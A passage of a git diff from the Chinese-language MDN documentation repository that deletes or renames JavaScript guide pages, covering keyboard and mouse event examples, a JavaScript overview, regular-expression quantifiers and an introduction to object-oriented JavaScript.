同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

- -

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

- -
    -
  • KeyPress - 按键被按下并且释放后触发
  • -
  • KeyDown - 按键被按下但是还没有被释放时触发
  • -
  • KeyUp - 按键被释放时触发
  • -
  • TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。
  • -
- -

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

- -

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

- -
  <input type="text" onkeypress="alert ('Hello World!');"></input>
-
- -

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

- -
<script type="text/javascript">
-  function onkeypress_callback () {
-    alert ("Hello, World!");
-  }
-</script>
-
-<input onkeypress="onkeypress_callback();"></input>
-
- -

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

- -
<script type="text/javascript">
-  function onkeypress_callback(evt) {
-      var eType = evt.type; // Will return "keypress" as the event type
-      var eCode = 'keyCode is ' + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
-<input onkeypress="onkeypress_callback(event);"></input>
- -

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

- -
<script type="text/javascript">
-  document.onkeypress = key_event;
-  document.onkeydown = key_event;
-  document.onkeyup = key_event;
-
-  function key_event(evt) {
-      var eType = evt.type;
-      var eCode = "ASCII code is " + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
- -

下面是一个完整的键盘事件处理过程:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <script>
-    var metaChar = false;
-    var exampleKey = 16;
-    function keyEvent(event) {
-      var key = event.keyCode || event.which;
-      var keychar = String.fromCharCode(key);
-      if (key==exampleKey) { metaChar = true; }
-      if (key!=exampleKey) {
-         if (metaChar) {
-            alert("Combination of metaKey + " + keychar)
-            metaChar = false;
-         } else { alert("Key pressed " + key); }
-      }
-    }
-    function metaKeyUp (event) {
-      var key = event.keyCode || event.which;
-      if (key==exampleKey) { metaChar = false; }
-    }
-  </script>
-</head>
-<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
-</body>
-</html>
- -

浏览器 bugs 和 quirks

- -

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

- -

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

- -

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

- -

{{ draft() }}

- -

举例:拖曳图片

- -

下面的例子展示了firefox浏览器下如何实现拖动图片:

- -
<!DOCTYPE html>
-<html>
-<head>
-<style type='text/css'>
-img { position: absolute; }
-</style>
-
-<script type='text/javascript'>
-window.onload = function() {
-
-  movMeId=document.getElementById("ImgMov");
-  movMeId.style.top = "80px";
-  movMeId.style.left = "80px";
-  movMeId.style.position = "absolute";
-
-  document.onmousedown = coordinates;
-  document.onmouseup=mouseup;
-
-  function coordinates(e) {
-    if (e == null) { e = window.event;}
-    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
-
-    if (sender.id=="ImgMov") {
-      mouseover = true;
-      pleft = parseInt(movMeId.style.left);
-      ptop = parseInt(movMeId.style.top);
-      xcoor = e.clientX;
-      ycoor = e.clientY;
-      document.onmousemove=moveImage;
-      return false;
-    } else {
-        return false;
-    }
-  }
-
-  function moveImage(e) {
-    if (e == null) { e = window.event; }
-    movMeId.style.left = pleft+e.clientX-xcoor+"px";
-    movMeId.style.top = ptop+e.clientY-ycoor+"px";
-    return false;
-  }
-
-  function mouseup(e) {
-    document.onmousemove = null;
-  }
-}
-</script>
-</head>
-
-<body>
-  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
-  <p>Drag and drop around the image in this page.</p>
-</body>
-
-</html>
- -

举例:改变大小

- -
{{todo("Need Content. Or, remove headline")}}
- -

举例:绘制直线

- -
-

附加文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/javascript/guide/about/index.html b/files/zh-cn/web/javascript/guide/about/index.html deleted file mode 100644 index d8b77fece9..0000000000 --- a/files/zh-cn/web/javascript/guide/about/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: 关于本指南 -slug: Web/JavaScript/Guide/About -tags: - - JavaScript - - 初学者 - - 指南 -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/About ---- -

JavaScript 是一种跨平台的,基于对象的脚本语言。本指南介绍了所有您使用 JavaScript 所需要了解的事情。

- -

JavaScript 各版本中的新特性

- - -

- -

您应该已经了解的事情

- -

本指南假设您具有以下背景:

- -
    -
  • 对互联网和万维网(WWW)有基本的理解。
  • -
  • 对于超文本标记语言(HTML)的较好认知。
  • -
  • 一些编程经验。如果你刚开始接触编程,请学习JavaScript页面所链接的教程
  • -
- -

JavaScript 版本

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
表格 1 JavaScript 和 Navigator 版本对照
JavaScript 版本Navigator 版本
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (开源浏览器)
JavaScript 1.6Firefox 1.5,及其它基于 Mozilla 1.8 的产品
JavaScript 1.7Firefox 2,及其它基于 Mozilla 1.8.1 的产品
JavaScript 1.8Firefox 3,及其它基于 Gecko 1.9 的产品
- -

哪里可以找到 JavaScript 的信息

- -

JavaScript 文档包括以下书目:

- -
    -
  • JavaScript 指南 (即本指南)提供了关于 JavaScript 语言及其对象的有关信息。
  • -
  • JavaScript 参考 提供 有关JavaScript 语言的参考资料。
  • -
- -

如果您刚刚开始接触 JavaScript,可以从 JavaScript 指南 开始。一旦掌握了基础知识,您可以从 JavaScript 参考 中获得更多关于特定的对象和语句的细节。

- -

学习 JavaScript 的窍门

- -

开始学习 JavaScript 很容易:您只需要一个流行的 Web 浏览器即可。这本指南中包含了一些仅在 Firefox(以及其它基于 Gecko 的浏览器)的近期版本中才有的特性,因此,建议您使用最新的 Firefox 浏览器。

- -

在Firefox中内嵌了两个用于测验JavaScript非常有效的工具: Web终端和Scratchpad。

- -

Web终端

- -

web终端会显示有关当前装载网页的信息,并且还包含命令行,您可以用它在当前的网页中执行 JavaScript 语句。

- -

要打开 web 终端,请在 Firefox 中的“工具”菜单中选择 “Web Developer“ 中的 "Web Console"。它显示在浏览器窗口的底部。在终端的底部是一个命令行,你可以输入 JavaScript, 而在上面的面板中可以看到输出。

- -

Image:ErrorConsole.png

- -

Scratchpad

- -

Web Console 在执行 JavaScript 的单个命令行时是非常好的,但是在执行多行命令时就没那么方便了,而且你也不可能在 Web Console 中保存你的代码。因此对于更复杂的例子,  Scratchpad 是一个更好的工具。

- -

 

- -

要打开 Scratchpad, 可以在 "Web Developer" 菜单下选择 "Scratchpad" , 它在 Firefox 中也位于 "Tools" 菜单下。它是一个单独的窗口以及编辑器,你可以使用它来写和执行浏览器中的代码。你也同样可以将脚本保存在硬盘,并且从硬盘装载。

- -

如果你选择了 "Inspect",  pad 中的代码会在浏览器中执行,其结果也会以 comment 的形式插入到 pad 中: 

- -

- -

文档约定

- -

JavaScript 应用可以运行在许多操作系统之上;本书中所给出的信息适用于所有这些系统。文件和目录的路径将以 Windows 的形式给出(反斜线用于分隔目录名)。对于 Unix 系统,目录的路径是相同的,只是将反斜线换成斜线即可。

- -

本指南使用如下形式的统一资源定位符(URL):

- -

http://server.domain/path/file.html

- -

在这些 URL 中,server 表示您的应用所运行的服务器的名称,比如 research1 或者 wwwdomain 表示您的互联网域名,比如 netscape.com 或者 uiuc.edupath 表示在服务器中的目录结构;而 file.html 则表示特定的文件名。一般来讲,URL 中的斜体部分为占位符,而其中的等宽字体则为原文。如果您的服务器启用了安全套接字层(SSL),则需要将 URL 中的 http 换成 https。

- -

本指南使用如下字体约定:

- -
    -
  • 等宽字体用于示例代码,代码罗列,API 以及语言元素(比如方法名或者属性名),文件名,路径名,目录名,HTML 标签,以及其它任何必需键入到屏幕中的文本。(等宽斜体字用于代码中的占位符)
  • -
  • 斜体字 用于本书的标题,强调,变量和占位符以及其它直接字面上的词汇。
  • -
  • 粗体 用于词汇表。
  • -
- -
{{ PreviousNext("JavaScript/Guide", "JavaScript/Guide/JavaScript_Overview") }}
diff --git a/files/zh-cn/web/javascript/guide/javascript_overview/index.html b/files/zh-cn/web/javascript/guide/javascript_overview/index.html deleted file mode 100644 index 96114a1f43..0000000000 --- a/files/zh-cn/web/javascript/guide/javascript_overview/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: JavaScript 概述 -slug: Web/JavaScript/Guide/JavaScript_Overview -tags: - - ECMAScript -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/JavaScript_Overview ---- -

本节将介绍并讨论 JavaScript 的基本概念。

- -

什么是 JavaScript?

- -

JavaScript 是一种跨平台,面向对象的脚本语言。作为一种小巧且轻量级的语言,JavaScript 无意于独立运行,而是被设计为可以轻易嵌入到其它的产品和应用中,比如 Web 浏览器。在宿主环境中,JavaScript 可以被连接到环境中的对象之上,以提供对其的编程控制。

- -

核心的 JavaScript 中包含有一组核心的对象,包括 Array,DateMath,以及一组核心的语言要素,包括操作符,控制结构和语句。出于多种目的,可以通过为其增补附加的对象,对核心 JavaScript 加以扩展;例如:

- -
    -
  • 客户端 JavaScript 提供了用于控制浏览器(Navigator 或者其它浏览器)以及其中的文档对象模型(DOM)的对象,从而扩展了核心 JavaScript。例如,客户端扩展允许应用程序在 HTML 的表单中加入元素,以便响应用户事件,比如鼠标点击,表单输入和页面导航。
  • -
  • 服务器端 JavaScript 提供了服务于在服务器上运行 JavaScript 的对象,从而扩展了核心 JavaScript。例如,服务器端扩展可以允许应用程序访问关系型数据库,在应用程序的不同调用间提供信息的连续性,甚至于处理服务器之上的文件。
  • -
- -

借由 JavaScript 的 LiveConnect 功能,您可以让 Java 和 JavaScript 间实现通讯。从 JavaScript 中,您可以创建 Java 对象并访问它们的公共方法和域。从 Java 中,也可以访问 JavaScript 的对象,属性和方法。

- -

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。

- -

JavaScript 和 Java

- -

JavaScript 和 Java 虽然在某些方面相似,但在另外一些方面确有着本质的不同。JavaScript 语言类似于 Java 语言,但是没有 Java 的类型静态化和强类型检查。JavaScript 大部分的表达式语法,命名规范以及基本的控制流构成都和 Java 相同。正是由于这个原因,JavaScript 才从 LiveScript 改名得来。

- -

不同于 Java 的通过声明而形成的编译时的类系统,JavaScript 支持基于少量数据类型的运行时系统,这些数据类型用以表示数值、布尔值和字符串。JavaScript 使用基于原型的对象模型,而不是更常见的基于类的对象模型。基于原型的对象模型提供了动态的继承能力,实际上,究竟什么得到继承,对于每个对象都可能不同。JavaScript 还支持无需任何特殊的声明要求的函数。函数可以作为对象的属性,当成松散类型方法(loosely typed method)来执行。

- -

相比 Java 而言,JavaScript 是一种格式相当自由的语言。无需声明所有的变量,类和方法。无需关心方法是公共的,私有的或者是保护的,也无需实现接口。变量,参数,以及返回值都无需显式的类型声明。

- -

Java 是基于类的编程语言,目标在于快速的执行和类型安全。这里的类型安全,可以是比如,你不能将 Java 的整数强制转换为对象引用,或者通过篡改 Java 字节码来达到访问私有内存区域的目的。Java 基于类的模型意味着程序完全由类及其方法构成。这些类的继承以及强类型通常需要紧密耦合的对象层级结构。这些需求使得 Java 编程远比 JavaScript 编程要复杂。

- -

相比之下,JavaScript 的设计理念源于一系列更小巧的动态类型语言,比如 HyperTalk 和 dBASE。这些脚本语言以其更为简单的语法,更专业化的内建功能,以及最小化的对象创建需求,提供了更为大众化的编程工具。

- - - - - - - - - - - - - - - - - - - - - - - -
表 1.1 JavaScript 与 Java 的对比
JavaScriptJava
面向对象的。对象的类型间没有区别。继承是基于原型机制实现的,且属性和方法可以动态地添加到任何对象之上。基于类的。对象被划分为类和实例,且所有的继承是通过类的层级结构实现的。类或者实例不能动态地添加属性或方法。
变量的数据类型无需声明(动态化类型)。变量的数据类型必需声明(静态化类型)。
不能自动地写入硬盘不能自动地写入硬盘
- -

有关 JavaScript 和 Java 之间区别的更多信息,参见 对象模型的细节

- -

JavaScript 和 ECMAScript 规范

- -

Netscape 发明了 JavaScript 并将 JavaScript 首先用于 Netscape 浏览器中。不过, Netscape 正在与 Ecma International — 欧洲信息和通讯标准化协会(ECMA 曾是 European Computer Manufacturers Association,既欧洲计算机制造商协会的缩写)一道致力于交付一个基于核心 JavaScript 的,标准化的,国际化的编程语言,既 ECMAScript。ECMAScript 在所有支持该标准的应用程序中具有相同的特性。其它公司可以使用开放的标准语言来开发它们的 JavaScript 实现。ECMAScript 标准在 ECMA-262 规范中加以记述。

- -

ECMA-262 标准由 ISO(International Organization for Standardization,既国际化标准化组织)批准为 ISO-16262。在 Mozilla 网站上可以找到 PDF 版本的 ECMA-262 (过时的版本)。在 Ecma International 的网站 上也可以找到该规范。ECMAScript 规范没有描述文档对象模型(DOM)。该模型由 World Wide Web Consortium (W3C) 完成标准化。DOM 定义了 HTML 文档对象呈现在脚本中的方式。

- -

JavaScript 版本和 ECMAScript 版本之间的关系

- -

Netscape 与 Ecma International 的紧密合作形成了 ECMAScript 规范(ECMA-262)。下面的表格描述了 JavaScript 版本和 ECMAScript 版本之间的关系。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
表 1.2 JavaScript 版本和 ECMAScript 版本
JavaScript 版本与 ECMAScript 版本的关系
JavaScript 1.1ECMA-262,第 1 版 基于 JavaScript 1.1.
JavaScript 1.2ECMA-262 在 JavaScript 1.2 发布时尚未完成。由于以下原因,JavaScript 1.2 并不与 ECMA-262,第 1 版完全兼容: -
    -
  • Netscape 在 JavaScript 1.2 开发了一些新的特性尚未被 ECMA-262 采纳。
  • -
  • ECMA-262 添加了两项新特性:基于 Unicode 的国际化,以及跨平台的一致行为。而 JavaScript 1.2 的某些特性,例如 Date 对象,是依赖于平台的,且具有特定于平台的行为。
  • -
-
JavaScript 1.3JavaScript 1.3 完全兼容于 ECMA-262,第 1 版。
- JavaScript 1.3 解决了 JavaScript 1.2 与 ECMA-262 之间的不一致性,同时保留了 JavaScript 1.2 中的附加特性,除了  ==!= 被修改以便顺应于 ECMA-262 之外。
JavaScript 1.4JavaScript 1.4 完全兼容于 ECMA-262,第 1 版。
- ECMAScript 规范的第三版在 JavaScript 1.4 发布时尚未最终完成。
JavaScript 1.5JavaScript 1.5 完全兼容于 ECMA-262,第 3 版。
- -
注:ECMA-262,第 2 版仅包含对第 1 版规范的细微的编辑性的改动和错误修正。由 Ecma International 的 TC39 工作组发布的最新版本为 ECMAScript 版本 5.1
- -

JavaScript 参考 中标明了语言中的哪些特性兼容于 ECMAScript。

- -

JavaScript 将总会包含某些 ECMAScript 规范中所没有的特性;JavaScript 兼容于 ECMAScript,同时提供附加特性。

- -

JavaScript 文档相较于 ECMAScript 规范

- -

ECMAScript 规范了实现 ECMAScript 的一组需求;它有助于您确定某项 JavaScript 特性是否也为其它 ECMAScript 的实现所支持。如果您想编写仅仅使用 ECMAScript 所支持的特性的代码,那么您可能需要参考 ECMAScript 规范。

- -

ECMAScript 文档的目的不在于帮助脚本程序员;关于脚本编写的信息,请参考 JavaScript 文档。

- -

JavaScript 和 ECMAScript 术语

- -

ECMAScript 规范使用的术语和语法对于 JavaScript 程序员而言,可能会有点陌生。尽管对语言的描述方式在 ECMAScript 中可能不尽相同,但是语言本身还是相同的。JavaScript 支持 ECMAScript 规范中所勾勒出的全部功能。

- -

JavaScript 文档描述了语言中适合于 JavaScript 程序员的方面。例如:

- -
    -
  • JavaScript 文档中没有描述全局对象,因为不会直接用到它。全局对象的属性和方法在 JavaScript 文档中被称为顶层函数和属性。
  • -
  • JavaScript 文档中没有讨论 NumberString 对象的无参(零个参数)构造器,因为几乎不会用到其生成的对象。无参的 Number 构造器返回 +0,而无参的 String 构造器返回 "" (空的字符串)。
  • -
- -
{{ PreviousNext("JavaScript/Guide/About", "JavaScript/Guide/Values,_variables,_and_literals") }}
diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html deleted file mode 100644 index 8ff8e9730b..0000000000 --- a/files/zh-cn/web/javascript/guide/regular_expressions/boundaries/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Boundaries -slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries -translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions -translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries ---- -

重定向至 断言

diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html new file mode 100644 index 0000000000..bcc2a35e13 --- /dev/null +++ b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html @@ -0,0 +1,170 @@ +--- +title: 量词 +slug: Web/JavaScript/Guide/Regular_Expressions/量词 +translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers +--- +

{{jsSidebar("JavaScript Guide")}}

+ +

量词表示要匹配的字符或表达式的数量。

+ +
{{EmbedInteractiveExample("pages/js/regexp-quantifiers.html", "taller")}}
+ +

类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CharactersMeaning
x* +

将前面的项“x”匹配0次或更多次。例如,/bo*/匹配“A ghost booooed”中的“boooo”和“A bird warbled”中的“b”,但在“A goat grunt”中没有匹配。

+
x+ +

将前一项“x”匹配1次或更多次。等价于{1,}。例如,/a+/匹配“candy”中的“a”和“caaaaaaandy”中的“a”。

+
x? +

将前面的项“x”匹配0或1次。例如,/ e ?勒?/匹配angel中的el和angle中的le。

+ +

如果立即在任何量词*、+、?或{}之后使用,则使量词是非贪婪的(匹配最小次数),而不是默认的贪婪的(匹配最大次数)。

+
x{n} +

其中“n”是一个正整数,与前一项“x”的n次匹配。例如,/a{2}/ 不匹配“candy”中的“a”,但它匹配“caandy”中的所有“a”,以及“caaandy”中的前两个“a”。

+
x{n,} +

其中,“n”是一个正整数,与前一项“x”至少匹配“n”次。例如,/a{2,}/不匹配“candy”中的“a”,但匹配“caandy”和“caaaaaaandy”中的所有a。

+
x{n,m} +

其中,“n”是0或一个正整数,“m”是一个正整数,而m > n至少与前一项“x”匹配,最多与“m”匹配。例如,/a{1,3}/不匹配“cndy”中的“a”,“candy”中的“a”,“caandy”中的两个“a”,以及“caaaaaaandy”中的前三个“a”。注意,当匹配“caaaaaaandy”时,匹配的是“aaa”,即使原始字符串中有更多的“a”。

+
+

x*?
+ x+?
+ x??
+ x{n}?
+ x{n,}?
+ x{n,m}?

+
+

默认情况下,像 和 这样的量词是“贪婪的”,这意味着它们试图匹配尽可能多的字符串。?量词后面的字符使量词“非贪婪”:意思是它一旦找到匹配就会停止。例如,给定一个字符串“some <foo> <bar> new </bar> </foo> thing”:

+ +
    +
  • /<.*>/ will match "<foo> <bar> new </bar> </foo>"
  • +
  • /<.*?>/ will match "<foo>"
  • +
+
+ +

举例说明

+ +

重复模式

+ +
var wordEndingWithAs = /\w+a+/;
+var delicateMessage = "This is Spartaaaaaaa";
+
+console.table(delicateMessage.match(wordEndingWithAs)); // [ "Spartaaaaaaa" ]
+ +

计算字符集

+ +
var singleLetterWord = /\b\w\b/g;
+var notSoLongWord = /\b\w{1,6}\b/g;
+var loooongWord = /\b\w{13,}\b/g;
+
+var sentence = "Why do I have to learn multiplication table?";
+
+console.table(sentence.match(singleLetterWord)); // ["I"]
+console.table(sentence.match(notSoLongWord));    // [ "Why", "do", "I", "have", "to", "learn", "table" ]
+console.table(sentence.match(loooongWord));      // ["multiplication"]可选可选字符
+
+ +

 可选字符

+ +
var britishText = "He asked his neighbour a favour.";
+var americanText = "He asked his neighbor a favor.";
+
+var regexpEnding = /\w+ou?r/g;
+// \w+ One or several letters
+// o   followed by an "o",
+// u?  optionally followed by a "u"
+// r   followed by an "r"
+
+console.table(britishText.match(regexpEnding));
+// ["neighbour", "favour"]
+
+console.table(americanText.match(regexpEnding));
+// ["neighbor", "favor"]
+
+ +

贪婪 与 非贪婪的

+ +
var text = "I must be getting somewhere near the centre of the earth.";
+var greedyRegexp = /[\w ]+/;
+// [\w ]      a letter of the latin alphabet or a whitespace
+//      +     one or several times
+
+console.log(text.match(greedyRegexp)[0]);
+// "I must be getting somewhere near the centre of the earth"
+// almost all of the text matches (leaves out the dot character)
+
+var nonGreedyRegexp = /[\w ]+?/; // Notice the question mark
+console.log(text.match(nonGreedyRegexp));
+// "I"
+// The match is the smallest one possible
+
+ +

规范

+ + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-quantifier', 'RegExp: Quantifiers')}}
+ +

浏览器支持

+ +

For browser compatibility information, check out the main Regular Expressions compatibility table.

+ +

See also

+ + diff --git "a/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" "b/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" deleted file mode 100644 index bcc2a35e13..0000000000 --- "a/files/zh-cn/web/javascript/guide/regular_expressions/\351\207\217\350\257\215/index.html" +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: 量词 -slug: Web/JavaScript/Guide/Regular_Expressions/量词 -translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers ---- -

{{jsSidebar("JavaScript Guide")}}

- -

量词表示要匹配的字符或表达式的数量。

- -
{{EmbedInteractiveExample("pages/js/regexp-quantifiers.html", "taller")}}
- -

类型

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CharactersMeaning
x* -

将前面的项“x”匹配0次或更多次。例如,/bo*/匹配“A ghost booooed”中的“boooo”和“A bird warbled”中的“b”,但在“A goat grunt”中没有匹配。

-
x+ -

将前一项“x”匹配1次或更多次。等价于{1,}。例如,/a+/匹配“candy”中的“a”和“caaaaaaandy”中的“a”。

-
x? -

将前面的项“x”匹配0或1次。例如,/ e ?勒?/匹配angel中的el和angle中的le。

- -

如果立即在任何量词*、+、?或{}之后使用,则使量词是非贪婪的(匹配最小次数),而不是默认的贪婪的(匹配最大次数)。

-
x{n} -

其中“n”是一个正整数,与前一项“x”的n次匹配。例如,/a{2}/ 不匹配“candy”中的“a”,但它匹配“caandy”中的所有“a”,以及“caaandy”中的前两个“a”。

-
x{n,} -

其中,“n”是一个正整数,与前一项“x”至少匹配“n”次。例如,/a{2,}/不匹配“candy”中的“a”,但匹配“caandy”和“caaaaaaandy”中的所有a。

-
x{n,m} -

其中,“n”是0或一个正整数,“m”是一个正整数,而m > n至少与前一项“x”匹配,最多与“m”匹配。例如,/a{1,3}/不匹配“cndy”中的“a”,“candy”中的“a”,“caandy”中的两个“a”,以及“caaaaaaandy”中的前三个“a”。注意,当匹配“caaaaaaandy”时,匹配的是“aaa”,即使原始字符串中有更多的“a”。

-
-

x*?
- x+?
- x??
- x{n}?
- x{n,}?
- x{n,m}?

-
-

默认情况下,像 和 这样的量词是“贪婪的”,这意味着它们试图匹配尽可能多的字符串。?量词后面的字符使量词“非贪婪”:意思是它一旦找到匹配就会停止。例如,给定一个字符串“some <foo> <bar> new </bar> </foo> thing”:

- -
    -
  • /<.*>/ will match "<foo> <bar> new </bar> </foo>"
  • -
  • /<.*?>/ will match "<foo>"
  • -
-
- -

举例说明

- -

重复模式

- -
var wordEndingWithAs = /\w+a+/;
-var delicateMessage = "This is Spartaaaaaaa";
-
-console.table(delicateMessage.match(wordEndingWithAs)); // [ "Spartaaaaaaa" ]
- -

计算字符集

- -
var singleLetterWord = /\b\w\b/g;
-var notSoLongWord = /\b\w{1,6}\b/g;
-var loooongWord = /\b\w{13,}\b/g;
-
-var sentence = "Why do I have to learn multiplication table?";
-
-console.table(sentence.match(singleLetterWord)); // ["I"]
-console.table(sentence.match(notSoLongWord));    // [ "Why", "do", "I", "have", "to", "learn", "table" ]
-console.table(sentence.match(loooongWord));      // ["multiplication"]可选可选字符
-
- -

 可选字符

- -
var britishText = "He asked his neighbour a favour.";
-var americanText = "He asked his neighbor a favor.";
-
-var regexpEnding = /\w+ou?r/g;
-// \w+ One or several letters
-// o   followed by an "o",
-// u?  optionally followed by a "u"
-// r   followed by an "r"
-
-console.table(britishText.match(regexpEnding));
-// ["neighbour", "favour"]
-
-console.table(americanText.match(regexpEnding));
-// ["neighbor", "favor"]
-
- -

贪婪 与 非贪婪的

- -
var text = "I must be getting somewhere near the centre of the earth.";
-var greedyRegexp = /[\w ]+/;
-// [\w ]      a letter of the latin alphabet or a whitespace
-//      +     one or several times
-
-console.log(text.match(greedyRegexp)[0]);
-// "I must be getting somewhere near the centre of the earth"
-// almost all of the text matches (leaves out the dot character)
-
-var nonGreedyRegexp = /[\w ]+?/; // Notice the question mark
-console.log(text.match(nonGreedyRegexp));
-// "I"
-// The match is the smallest one possible
-
- -

规范

- - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-quantifier', 'RegExp: Quantifiers')}}
- -

浏览器支持

- -

For browser compatibility information, check out the main Regular Expressions compatibility table.

- -

See also

- - diff --git a/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html deleted file mode 100644 index 1ae4554c63..0000000000 --- a/files/zh-cn/web/javascript/introduction_to_object-oriented_javascript/index.html +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: JavaScript面向对象简介 -slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript -tags: - - JavaScript - - OOP - - 命名空间 - - 对象 - - 封装 - - 成员 - - 构造函数 - - 继承 - - 面向对象 -translation_of: Learn/JavaScript/Objects -translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---- -
{{jsSidebar("Introductory")}}
- -
 
- -

JavaScript 的核心是支持面向对象的,同时它也提供了强大灵活的 OOP 语言能力。本文从对面向对象编程的介绍开始,带您探索 JavaScript 的对象模型,最后描述 JavaScript 当中面向对象编程的一些概念。

- -

JavaScript回顾

- -

如果您对 JavaScript 的概念(如变量、类型、方法和作用域等)缺乏自信,您可以在重新介绍 JavaScript 这篇文章里学习这些概念。您也可以查阅这篇 JavaScript 1.5 核心指南

- -

面向对象编程

- -

面向对象编程是用抽象方式创建基于现实世界模型的一种编程模式。它使用先前建立的范例,包括模块化,多态和封装几种技术。今天,许多流行的编程语言(如Java,JavaScript,C#,C+ +,Python,PHP,Ruby和Objective-C)都支持面向对象编程(OOP)。

- -

相对于「一个程序只是一些函数的集合,或简单的计算机指令列表。」的传统软件设计观念而言,面向对象编程可以看作是使用一系列对象相互协作的软件设计。 在 OOP 中,每个对象能够接收消息,处理数据和发送消息给其他对象。每个对象都可以被看作是一个拥有清晰角色或责任的独立小机器。

- -

面向对象程序设计的目的是在编程中促进更好的灵活性和可维护性,在大型软件工程中广为流行。凭借其对模块化的重视,面向对象的代码开发更简单,更容易理解,相比非模块化编程方法 1, 它能更直接地分析, 编码和理解复杂的情况和过程。

- -

术语

- -
-
Namespace 命名空间
-
允许开发人员在一个独特,应用相关的名字的名称下捆绑所有功能的容器。
-
Class 类
-
定义对象的特征。它是对象的属性和方法的模板定义。
-
Object 对象
-
类的一个实例。
-
Property 属性
-
对象的特征,比如颜色。
-
Method 方法
-
对象的能力,比如行走。
-
Constructor 构造函数
-
对象初始化的瞬间,被调用的方法。通常它的名字与包含它的类一致。
-
Inheritance 继承
-
一个类可以继承另一个类的特征。
-
Encapsulation 封装
-
一种把数据和相关的方法绑定在一起使用的方法。
-
Abstraction 抽象
-
结合复杂的继承,方法,属性的对象能够模拟现实的模型。
-
Polymorphism 多态
-
多意为「许多」,态意为「形态」。不同类可以定义相同的方法或属性。
-
- -

更多关于面向对象编程的描述,请参照维基百科的 面向对象编程 。

- -

原型编程

- -

基于原型的编程不是面向对象编程中体现的风格,且行为重用(在基于类的语言中也称为继承)是通过装饰它作为原型的现有对象的过程实现的。这种模式也被称为弱类化,原型化,或基于实例的编程。

- -

原始的(也是最典型的)基于原型语言的例子是由大卫·安格尔和兰德尔·史密斯开发的。然而,弱类化的编程风格近来变得越来越流行,并已被诸如JavaScript,Cecil,NewtonScript,IO,MOO,REBOL,Kevo,Squeak(使用框架操纵Morphic组件),和其他几种编程语言采用。1

- -

JavaScript面向对象编程

- -

命名空间

- -

命名空间是一个容器,它允许开发人员在一个独特的,特定于应用程序的名称下捆绑所有的功能。 在JavaScript中,命名空间只是另一个包含方法,属性,对象的对象。

